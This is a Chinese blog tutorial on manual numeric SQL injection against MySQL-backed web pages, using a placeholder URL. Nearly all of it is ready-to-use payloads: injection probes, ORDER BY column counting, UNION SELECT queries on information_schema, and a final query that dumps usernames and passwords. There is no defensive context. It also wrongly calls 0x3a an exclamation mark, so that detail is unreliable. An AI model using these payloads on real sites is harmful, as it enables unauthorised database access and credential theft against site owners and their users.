mysql数字型手工注入

1.首先测试下是否存在注入点:
url后输入
http://www.xxx.cn/list.php?id=24‘ 返回错误(或者返回异常,所谓的返回异常,和之前的网页不一样也属于返回异常,而不一定要页面返回错误信息,后续也是一样)
http://www.xxx.cn/list.php?id=24 and 1=1 返回正确
http://www.xxx.cn/list.php?id=24 and 1=2 返回错误

2.判断字段数
数字型
http://www.xxx.cn/list.php?id=24 order by 10– 返回错误
http://www.xxx.cn/list.php?id=24 order by 9– 返回正确
得出结论:字段数9。(后续测试用例都是用的9,实际操作的时候你们字段数是几就写多少,后面别傻傻的照抄)
总结:其实来说,可以先试大点的数字,然后慢慢减少,因为如果太大会返回错误(异常),太少的话不会报错(异常),所以从经验来说,可以数字折半的测试,效率会高很多。

3.寻找可显示字段
http://www.xxx.cn/list.php?id=24 and 1=2 union select 1,2,3,4,5,6,7,8,9–
(网页上哪里显示数字就表示第几个是可以用来显示数据的,下面的都假设第8个是可以显示数据的,实际操作按具体情况来)
4.开始收集信息
and 1=2 union select 1,2,3,4,5,6,7,concat(user(),0x3a,database(),0x3a,version()),9–
这个查询出的是当前使用的用户以及数据库名以及数据库的版本

5.查所有数据库名
and 1=2 union select 1,2,3,4,5,6,7,concat(group_concat(distinct+schema_name)),9 from information_schema.schemata–

6.爆当前数据库名的表名
and 1=2 union select 1,2,3,4,5,6,7,concat(group_concat(distinct+table_name)),9 from information_schema.tables where table_schema=0x(数据库名的十六进制)–

7.爆指定表中字段
and 1=2 union select 1,2,3,4,5,6,7,concat(group_concat(distinct+column_name)),9 from information_schema.columns where table_name=0x(字段的十六进制(例如admin等的))–

8.爆字段内容
1 =2 union select 1,2,3,4,5,6,7,concat(id,0x3a,username,0x3a,password),9 from (表名) limit 0,1–
PS:id,username,password均假设是上述获取到的字段名,0x3a表示感叹号,按实际情况来

十六进制在线转换网站https://www.bejson.com/convert/ox2str/

2018.7.2

为您推荐

发表评论

电子邮件地址不会被公开。 必填项已用*标注